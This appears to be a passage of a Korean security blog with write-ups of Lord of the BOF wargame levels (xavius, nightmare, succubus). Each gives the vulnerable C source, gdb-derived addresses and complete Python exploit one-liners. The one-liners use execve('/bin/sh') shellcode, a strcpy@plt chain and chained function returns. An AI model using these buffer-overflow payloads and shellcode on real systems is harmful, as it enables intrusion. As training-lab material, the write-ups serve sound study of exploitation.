정리하면 ret에 스택X, 라이브러리X, LD_PRELOAD X 이다.


힌트를 보면 arg이고... 일단 gdb로 한번 분석해보아야겠다.

아아.. 이제보니 stdin이 있었네


일단 stdin의 주소를 구해보자.


0x8049a3c


저곳을 한번 살펴보자.



stdin 구조체를 살펴보면 stdin+4의 주소에 0x40015099가 있고 뒤에 한번더 반복되는데 이게 end of prt 라고 입력이 끝난 시점의 메모리 위치이고

그 뒤에 몇번 반복되는 0x40015000이 start of prt입력이 시작되는 위치라고 한다. 그래서 내가 입력한 값이 여기에 저장되있을것이다.



그렇다.. 저기가 stdin 입력버퍼부분이다.. 이제 저기에 쉘코드를 넣고 주소값을 저기로 돌려주면 되겠다.


0x40015000을 ret값으로 입력하려하면 "\x00\x50\x01\x40"으로 "\x00", null값이 들어가므로 0x40015004부터 쉘코드를 넣고 점프하는게 좋겟다.


payload : "AAAA"(4) + "쉘코드"(25) + "NOP"(15) + "ret_쉘코드의주소(0x40015004)"(4)


(python -c 'print("A"*4+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x90"*15+"\x04\x50\x01\x40")'; cat) | ./xavius



성공




[LOB] succubus -> nightmare

2018. 4. 3. 00:36
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
/*
        The Lord of the BOF : The Fellowship of the BOF
        - nightmare
        - PLT
*/
 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dumpcode.h>
 
main(int argc, char *argv[])
{
    char buffer[40];
    char *addr;
 
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
 
    // check address
    addr = (char *)&strcpy;
        if(memcmp(argv[1]+44&addr, 4!= 0){
                printf("You must fall in love with strcpy()\n");
                exit(0);
        }
 
        // overflow!
        strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
 
    // dangerous waterfall
    memset(buffer+40+8'A'4);
}
 
cs


시작


힌트로 plt라고 나와있다. plt가 무엇이냐면..


  • PLT (Procedure Linkage Table) : 외부 프로시저를 연결해주는 테이블. PLT를 통해 다른 라이브러리에 있는 프로시저를 호출해 사용할 수 있다.
  • GOT (Global Offset Table) : PLT가 참조하는 테이블. 프로시저들의 주소가 들어있다.

함수를 호출하면(PLT를 호출하면) GOT로 점프하는데 GOT에는 함수의 실제 주소가 쓰여있다. 첫 번째 호출이라면 GOT는 함수의 주소를 가지고 있지 않고 ‘어떤 과정’을 거쳐 주소를 알아낸다. 두 번째 호출 부터는 첫 번째 호출 때 알아낸 주소로 바로 점프한다. 


....


문제로 돌아와서 ret에 strcpy의 주소를 넣지않으면 exit한다.


그리고 마지막에 가면 memset으로 ret+4의 주소에 AAAA를 넣는다.



strcpy의 주소는 0x400767b0이다. 하지만 이 주소는 strcpy@plt가 아니라서 시도해보니 되지않았다;;

plt값을 알아보자



strcpy@plt : 0x8048410




코어덤프를 gdb에 넣어보니 strcpy가 호출되고 0x43434343, 0x44444444가 들어간것을 보니 잘 실행되었다.


그러나... strcpy가 끝나고 다음으로 실행하게될 ret의 주소가 AAAA로 덮어써져있어서 다음 함수로의 실행이 불가능하다. 

memset(buffer+40+8'A'4);


0xbffff690에 있는 값을 쉘코드의 주소로 덮으면 된다.



저 0x41414141이 있는 곳에 쉘코드의 주소를 넣을 것이다. 저곳의 주소는 0xbffffc2b이다.


strcpy(0xbffff690, 0xbffffc2b)가 실행되게 할것이다.


그리고 0xbffffc2b에는 쉘코드의 주소를 넣자, 적당히 0xbffff8c8 정도면 될 것 같다.


payload : ./nightmare `python -c 'print("A"*44+"\x10\x84\x04\x08"+"BBBB"+"\x90\xf6\xff\xbf"+"\x2b\xfc\xff\xbf"+"     "+"\x90"*1000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\xc8\xf8\xff\xbf"+"\00")'`


위와 같이 해서 공격하면될것같다. 마지막에 \x00은 strcpy할 때 NULL값까지 복사하므로 넣어주엇다.



성공~



'Wargame > LOB' 카테고리의 다른 글

[LOB] xavius -> death_knight  (0) 2018.04.04
[LOB] nightmare -> xavius  (0) 2018.04.03
[LOB] zombie_assassin -> succubus  (0) 2018.04.03
[LOB] assassin -> zombie_assassin  (0) 2018.04.02
[LOB] giant -> assassin  (0) 2018.04.02
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
/*
        The Lord of the BOF : The Fellowship of the BOF
        - succubus
        - calling functions continuously 
*/
 
#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>
 
// the inspector
int check = 0;
 
void MO(char *cmd)
{
        if(check != 4)
                exit(0);
 
        printf("welcome to the MO!\n");
 
    // olleh!
    system(cmd);
}
 
void YUT(void)
{
        if(check != 3)
                exit(0);
 
        printf("welcome to the YUT!\n");
        check = 4;
}
 
void GUL(void)
{
        if(check != 2)
                exit(0);
 
        printf("welcome to the GUL!\n");
        check = 3;
}
 
void GYE(void)
{
    if(check != 1)
        exit(0);
 
    printf("welcome to the GYE!\n");
    check = 2;
}
 
void DO(void)
{
    printf("welcome to the DO!\n");
    check = 1;
}
 
main(int argc, char *argv[])
{
    char buffer[40];
    char *addr;
 
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
 
    // you cannot use library
    if(strchr(argv[1], '\x40')){
        printf("You cannot use library\n");
        exit(0);
    }
 
    // check address
    addr = (char *)&DO;
        if(memcmp(argv[1]+44&addr, 4!= 0){
                printf("You must fall in love with DO\n");
                exit(0);
        }
 
        // overflow!
        strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
 
        // stack destroyer
    // 100 : extra space for copied argv[1]
        memset(buffer, 044);
    memset(buffer+48+10000xbfffffff - (int)(buffer+48+100));
 
    // LD_* eraser
    // 40 : extra space for memset function
    memset(buffer-300003000-40);
}
 
cs


시작


소스코드를 보자. 일단 라이브러리로 점프못하게 해놓았다. 그리고 버퍼와 SFP를 지우고


ret에서부터 100의 공간을 나둔후 전부 지워버린다. LD_PRELOAD도 지워버린다.


payload는 buffer(44) + &DO + &GYE + &GUL + &YUT + &MO + DUMMY + "/bin/sh"의 주소로 하면 될 것 같다.


일단 저 주소들을 다 구하자..



gdb를 통해 주소들을 다 구했다.


0x80487ec <DO>

0x80487bc <GYE>

0x804878c <GUL>

0x804875c <YUT>

0x8048724 <MO>



아마 여유공간에 "/bin/sh"문자열 등을 집어넣고 나중에 인자값으로 쓰란것같은데... 그냥 귀찮아서 system함수내에 있는 "/bin/sh"를 찾아서 쓰겠다.



"/bin/sh"의 주소


payload : buffer(44) + &DO + &GYE + &GUL + &YUT + &MO + DUMMY + &"/bin/sh"



아 소스코드를 제대로 안봤다;;

    if(strchr(argv[1], '\x40')){
        printf("You cannot use library\n");
        exit(0);
    }


로 그냥 argv[1]안에 0x40이 못들어간다.


payload : buffer(44) + &DO + &GYE + &GUL + &YUT + &MO + DUMMY + &"/bin/sh"+"/bin/sh"+"\0"


이렇게하기로 했다.



payload : ./succubus `python -c 'print("A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"BBBB"+"\x68\xfa\xff\xbf"+"/bin/sh"+"\x00")'`



클리어!!!

'Wargame > LOB' 카테고리의 다른 글

[LOB] nightmare -> xavius  (0) 2018.04.03
[LOB] succubus -> nightmare  (0) 2018.04.03
[LOB] assassin -> zombie_assassin  (0) 2018.04.02
[LOB] giant -> assassin  (0) 2018.04.02
[LOB] bugbear -> giant  (0) 2018.04.02

+ Recent posts